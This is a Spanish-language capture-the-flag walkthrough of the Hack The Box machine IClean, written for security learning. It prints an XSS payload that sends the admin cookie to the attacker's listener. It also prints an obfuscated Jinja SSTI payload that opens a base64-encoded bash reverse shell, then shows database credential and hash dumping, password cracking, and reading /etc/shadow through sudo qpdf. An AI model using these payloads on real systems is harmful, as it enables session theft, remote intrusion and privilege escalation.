Descripción

IClean es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Una secuencia de comandos en sitios cruzados en un formulario de contacto (se obtiene la cookie del administrador)
  • Inyección en una plantilla del lado del servidor de Python para una ejecución remota de comandos
  • Contraseña débil de un usuario (reutilizada) obtenida de una base de datos con credenciales desprotegidas en formato hash
  • Acceso a archivos privilegiados utilizando la herramienta qpdf y su funcionalidad de adjuntos

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.235.68.

$ ping -c 3 10.129.235.68
PING 10.129.235.68 (10.129.235.68) 56(84) bytes of data.
64 bytes from 10.129.235.68: icmp_seq=1 ttl=63 time=78.9 ms
64 bytes from 10.129.235.68: icmp_seq=2 ttl=63 time=54.7 ms
64 bytes from 10.129.235.68: icmp_seq=3 ttl=63 time=54.7 ms

--- 10.129.235.68 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 54.671/62.763/78.873/11.391 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.235.68 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.235.68
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.235.68 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.235.68
Host is up (0.055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds

Conseguimos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio está hospedando un sitio web, nos redirige al dominio capiclean.htb por lo que lo agregamos a nuestra lista de /etc/hosts.

$ echo "10.129.235.68 capiclean.htb" | sudo tee -a /etc/hosts

El servidor está ejecutando Werkzeug/2.3.7 con Python/3.10.12.

$ whatweb --log-brief web_techs capiclean.htb                                      http://capiclean.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@capiclean.htb], HTML5, HTTPServer[Werkzeug/2.3.7 Python/3.10.12], IP[10.129.235.68], JQuery[3.0.0], Python[3.10.12], Script, Title[Capiclean], Werkzeug[2.3.7], X-UA-Compatible[IE=edge]

Conseguimos una página web de un negocio de limpieza de casas. Tenemos un formulario de solicitud. Podemos seleccionar los servicios a solicitar y la dirección de correo electrónico para contactar. Si interceptamos la solicitud con un proxy podemos ver que el campo service se especifica varias veces en una solicitud POST al punto /sendMessage.

Explotación

El campo service es vulnerable a una vulnerabilidad XSS (Cross-Site Scripting) que permitirá obtener la cookie del usuario que lee las citas guardadas. Vamos a generar una carga útil con la etiqueta HTML <img> que enviará la cookie a nuestro servidor. Primero abriremos un puerto de escucha.

$ nc -nvlp 1111

La carga útil a usar debe ser codificada en formato URL para que funcione.

Carga útil:
<img src=x onerror=this.src="http://10.10.14.30:1111/cookie/"+document.cookie>

Carga útil codificada en formato URL:
<img+src%3dx+onerror%3dthis.src%3d"http%3a//10.10.14.30%3a1111/cookie/"%2bdocument.cookie>

Después de unos segundos recibiremos una solicitud HTTP con la cookie session y el valor eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhA2AQ.VvsDRAyrvBsnyBpghNCKvhYwyys.

$ nc -nvlp 1111
listening on [any] 1111 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.235.68] 56300
GET /cookie/session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhA2AQ.VvsDRAyrvBsnyBpghNCKvhYwyys HTTP/1.1
Host: 10.10.14.30:1111
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Después de editar el contenedor de cookies de nuestro navegador tendremos que encontrar un panel haciendo fuerza bruta a los directorios.

$ gobuster dir -u http://capiclean.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://capiclean.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 5267]
/login                (Status: 200) [Size: 2106]
/services             (Status: 200) [Size: 8592]
/team                 (Status: 200) [Size: 8109]
/quote                (Status: 200) [Size: 2237]
/logout               (Status: 302) [Size: 189] [--> /]
/dashboard            (Status: 302) [Size: 189] [--> /]
/choose               (Status: 200) [Size: 6084]

Encontramos la página /dashboard. Tenemos cuatro opciones: Generate Invoice, Generate QR, Edit Services, y Quote Requests. Primero vamos a generar una factura. Conseguiremos un identificador de la factura. Ahora con este identificador de la factura generaremos el QR. Con el enlace de código QR obtenido podemos generar una factura escaneable. Obtendremos la factura con la imagen de código QR impresa en la parte inferior derecha de la factura. Al revisar el código fuente HTML de la factura vemos que el código QR se muestra como una imagen PNG codificada en Base64.

<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,iVBORw0KGgoAAAA..." alt="QR Code"></div>

El enlace de código QR se envía en el campo qr_link de la solicitud al punto /QRGenerator. Este campo es vulnerable a la vulnerabilidad SSTI (Server-Site Template Injection). Tenemos unos ejemplos en PayloadAllTheThings. Vamos a utilizar el que supera los filtros más comunes codificado en formato URL. Recibiremos una terminal inversa después de abrir un puerto de escucha.

$ nc -nvlp 1234
Carga útil a utilizar:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMC8xMjM0IDA+JjE=" | base64 -d | bash')|attr('read')()}}

Carga útil codificada en formato URL:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo+"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4zMC8xMjM0IDA%2bJjE%3d"+|+base64+-d+|+bash')|attr('read')()}}

Recibimos una terminal inversa como el usuario www-data. Con este usuario no podemos actualizar la terminal a una interactiva.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.235.68] 52422
bash: cannot set terminal process group (1203): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Explotación

Como usuarios de consola nos encontramos a consuela y a root.

www-data@iclean:/opt/app$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
consuela:x:1000:1000:consuela:/home/consuela:/bin/bash

Encontramos el código fuente de la aplicación web en el archivo /opt/app/app.py. Conseguimos las credenciales de la base de datos MySQL local capiclean, con el nombre de usuario iclean y la contraseña pxCsmnGLckUb. También observamos que la tabla users existe.

...
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
...
    elif request.method == 'POST':
        username = request.form['username']
        password = hashlib.sha256(request.form['password'].encode()).hexdigest()

        with pymysql.connect(**db_config) as conn:
            with conn.cursor() as cursor:
                cursor.execute('SELECT role_id FROM users WHERE username=%s AND password=%s', (username, password))
                result = cursor.fetchone()

Ahora programaremos un script en Python para obtener todas las entradas de la tabla users para obtener los hashes SHA256 de los usuarios.

import pymysql

# Establish a connection to your MySQL database
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
connection = pymysql.connect(**db_config)

# Create a cursor object
cursor = connection.cursor()

# Execute a SELECT query
sql = "SELECT username,password FROM users"
cursor.execute(sql)

# Retrieve the results
for row in cursor:
    print(row)

# Close the cursor and connection
cursor.close()
connection.close()

Después de ejecutar el script obtenemos los hashes para el usuario admin y consuela.

www-data@iclean:/opt/app$ cd /tmp
www-data@iclean:/tmp$ python3 get_data.py
python3 get_data.py
('admin', '2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51')
('consuela', '0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa')

Como son hashes SHA256 usaremos la herramienta John The Ripper para recuperar la contraseña del hash del usuario consuela.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
simple and clean (consuela)     
1g 0:00:00:00 DONE 3.571g/s 14043Kp/s 14043Kc/s 14043KC/s sn282085..seadonorjustin1
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

Conseguimos la contraseña al instante del usuario consuela, simple and clean. La contraseña se reutiliza para el nombre de usuario de Linux, por lo que podemos utilizar SSH para iniciar sesión.

$ ssh consuela@capiclean.htb 
...
You have email.
consuela@iclean:~$ id
uid=1000(consuela) gid=1000(consuela) groups=1000(consuela)

Vemos que nos queda un email por leer.

consuela@iclean:~$ cat /var/mail/consuela 
To: <consuela@capiclean.htb>
Subject: Issues with PDFs
From: management <management@capiclean.htb>
Date: Wed September 6 09:15:33 2023

Hey Consuela,

Have a look over the invoices, I've been receiving some weird PDFs lately.

Regards,
Management

Vemos que podemos ejecutar la aplicación qpdf como el usuario root. Esta aplicación se utiliza para editar o transformar archivos PDF.

consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

Con la herramienta podemos adjuntar archivos como un archivo adjunto en el archivo PDF utilizando la opción --add-attachment. Podemos utilizar esta funcionalidad para leer archivos propiedad del usuario root, tal como el /etc/shadow. Primero vamos a crear un archivo PDF en blanco. Luego añadiremos el archivo adjunto usando el argumento. Finalmente conseguiremos el adjunto usando la opción --show-attachment.

consuela@iclean:/tmp$ sudo qpdf --empty blank.pdf
consuela@iclean:/tmp$ sudo qpdf blank.pdf --add-attachment /etc/shadow -- attach.pdf
consuela@iclean:/tmp$ sudo qpdf attach.pdf --show-attachment=shadow
...
root:$y$j9T$...:19774:0:99999:7:::
consuela:$y$j9T$...:19605:0:99999:7:::
...

Flags

Con el método descrito podemos obtener la flag de usuario y la flag del sistema.

consuela@iclean:/tmp$ sudo qpdf --empty blank.pdf; sudo qpdf blank.pdf --add-attachment /home/consuela/user.txt -- attach.pdf; sudo qpdf attach.pdf --show-attachment=user.txt
<REDACTED>
consuela@iclean:/tmp$ sudo qpdf --empty blank.pdf; sudo qpdf blank.pdf --add-attachment /root/root.txt -- attach.pdf; sudo qpdf attach.pdf --show-attachment=root.txt
<REDACTED>